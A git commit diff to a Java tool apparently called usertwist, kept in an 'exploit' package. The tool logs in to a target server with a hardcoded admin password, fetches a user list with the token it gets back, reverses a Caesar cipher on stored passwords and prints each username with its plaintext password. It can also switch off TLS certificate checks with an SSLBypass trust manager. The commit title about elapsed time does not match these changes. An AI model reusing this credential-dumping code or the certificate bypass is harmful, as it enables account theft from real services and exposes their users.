Simplified elapsed time calculating

src/fr/motysten/usertwist/exploit/Main.java

@@ -24,14 +24,12 @@ public class Main {
     public static String password = "AdminSecret1C";
     public static String port = "443";
     public static int rotation = 4;
+    public static boolean insecure = false;
     public static boolean asynchronous = true;
-    public static Request requestClient;
 
     public static void main(String[] args) throws IOException, InterruptedException, NoSuchAlgorithmException, KeyManagementException {
         BufferedReader reader = new BufferedReader(new InputStreamReader(System.in));
 
-        requestClient = new Request(false);
-
         if (Arrays.asList(args).contains("--synchronous") || Arrays.asList(args).contains("-s")) {
             asynchronous = false;
         }
@@ -71,7 +69,7 @@ public class Main {
         boolean tokenFound = false;
         while (!tokenFound) {
             try {
-                response = requestClient.get(link, port, "/login", requestJSON, null);
+                response = Request.get(link, port, "/login", requestJSON, null, insecure);
                 if (response.statusCode() == 308) {
                     System.err.println("The server is trying to force HTTPS use. Would you like to retry with HTTPS ? [Y/n]");
                     if (reader.readLine().equalsIgnoreCase("n")) {
@@ -90,7 +88,7 @@ public class Main {
                     System.err.println("Operation aborted ! Security failure.");
                     System.exit(1);
                 } else {
-                    requestClient = new Request(true);
+                    insecure = true;
                 }
             } catch (SSLException e) {
                 if (e.getMessage().contains("plaintext connection?")) {
@@ -110,6 +108,8 @@ public class Main {
             System.exit(1);
         }
 
+        System.out.println(response.statusCode());
+
         JSONObject responseObject = new JSONObject(response.body());
         String token = responseObject.optString("token");
 
@@ -124,7 +124,7 @@ public class Main {
         Map<String, String> headers = new HashMap<>();
         headers.put("Authorization", "Bearer " + token);
 
-        response = requestClient.get(link, port, "/references", requestJSON, headers);
+        response = Request.get(link, port, "/references", requestJSON, headers, insecure);
         JSONArray usersArray = new JSONArray(response.body());
 
         System.out.println(usersArray.length() + " users found !");

src/fr/motysten/usertwist/exploit/tools/Cesar.java

@@ -1,33 +1,33 @@
 package fr.motysten.usertwist.exploit.tools;
 
-import java.util.stream.Collectors;
-
 public class Cesar {
 
-    public static String rotate(String input, int offset) {
-        char normalizeKey = (char) (offset % 26);
+    public static final String LOWER_ALPHABET = "abcdefghijklmnopqrstuvwxyz";
+    public static final String UPPER_ALPHABET = LOWER_ALPHABET.toUpperCase();
 
-        return input.chars()
-                .mapToObj(c -> (char) c)
-                .map(c -> {
-                    if (Character.isLetter(c)) {
-                        char base;
-                        if (Character.isUpperCase(c)) {
-                            base = 'A';
-                        } else {
-                            base = 'a';
-                        }
-                        if (offset < 0) {
-                            return (char) (base + (c - base + normalizeKey) % 26);
-                        } else {
-                            return (char) (base + (c - base - normalizeKey + 26) % 26);
-                        }
-                    } else {
-                        return c;
-                    }
-                })
-                .map(String::valueOf)
-                .collect(Collectors.joining());
+    public static String cesarRotate(String input, int offset) {
+
+        while (offset < 0) {
+            offset += 26;
+        }
+
+        StringBuilder output = new StringBuilder();
+        
+        for (int i = 0; i < input.length(); i++) {
+            char newChar = input.charAt(i);
+            if (!Character.isDigit(input.charAt(i))) {
+                int pos = LOWER_ALPHABET.indexOf(Character.toLowerCase(input.charAt(i)));
+                int newPos = (pos + offset) % 26;
+                if (Character.isUpperCase(input.charAt(i))) {
+                    newChar = UPPER_ALPHABET.charAt(newPos);
+                } else {
+                    newChar = LOWER_ALPHABET.charAt(newPos);
+                }
+            }
+            output.append(newChar);
+        }
+
+        return output.toString();
     }
 
 }

src/fr/motysten/usertwist/exploit/tools/Parser.java

@@ -9,7 +9,7 @@ public class Parser {
         for (int i = 0; i < usersArray.length(); i++) {
             JSONObject user = usersArray.getJSONObject(i);
             String login = user.getString("username");
-            String password = Cesar.rotate(user.getString("data"), rotation);
+            String password = Cesar.cesarRotate(user.getString("data"), rotation);
 
             System.out.println((i + 1) + ". " + login + " => " + password);
         }
@@ -23,7 +23,7 @@ public class Parser {
             new Thread(() -> {
                 JSONObject user = usersArray.getJSONObject(finalI);
                 String login = user.getString("username");
-                String password = Cesar.rotate(user.getString("data"), rotation);
+                String password = Cesar.cesarRotate(user.getString("data"), rotation);
 
                 System.out.println((finalI + 1) + ". " + login + " => " + password);
             }).start();

src/fr/motysten/usertwist/exploit/tools/Request.java

@@ -16,19 +16,16 @@ import java.util.Map;
 
 public class Request {
 
-    private final HttpClient client;
+    public static HttpResponse<String> get(String link, String port, String endpoint,JSONObject params, Map<String, String> headers, boolean insecure) throws NoSuchAlgorithmException, KeyManagementException, IOException, InterruptedException {
+        HttpClient client = HttpClient.newHttpClient();
 
-    public Request(boolean insecure) throws NoSuchAlgorithmException, KeyManagementException {
-        HttpClient.Builder builder = HttpClient.newBuilder();
         if (insecure) {
             SSLContext customContext = SSLContext.getInstance("TLS");
             customContext.init(null, new TrustManager[]{new SSLBypass()}, new SecureRandom());
-            builder.sslContext(customContext);
-        }
-        this.client = builder.build();
-    }
 
-    public HttpResponse<String> get(String link, String port, String endpoint,JSONObject params, Map<String, String> headers) throws IOException, InterruptedException {
+            client = HttpClient.newBuilder().sslContext(customContext).build();
+        }
+
         HttpRequest.Builder builder = HttpRequest.newBuilder(URI.create(link + ":" + port + endpoint));
         if (headers != null) {
             for (Map.Entry<String, String> header : headers.entrySet()) {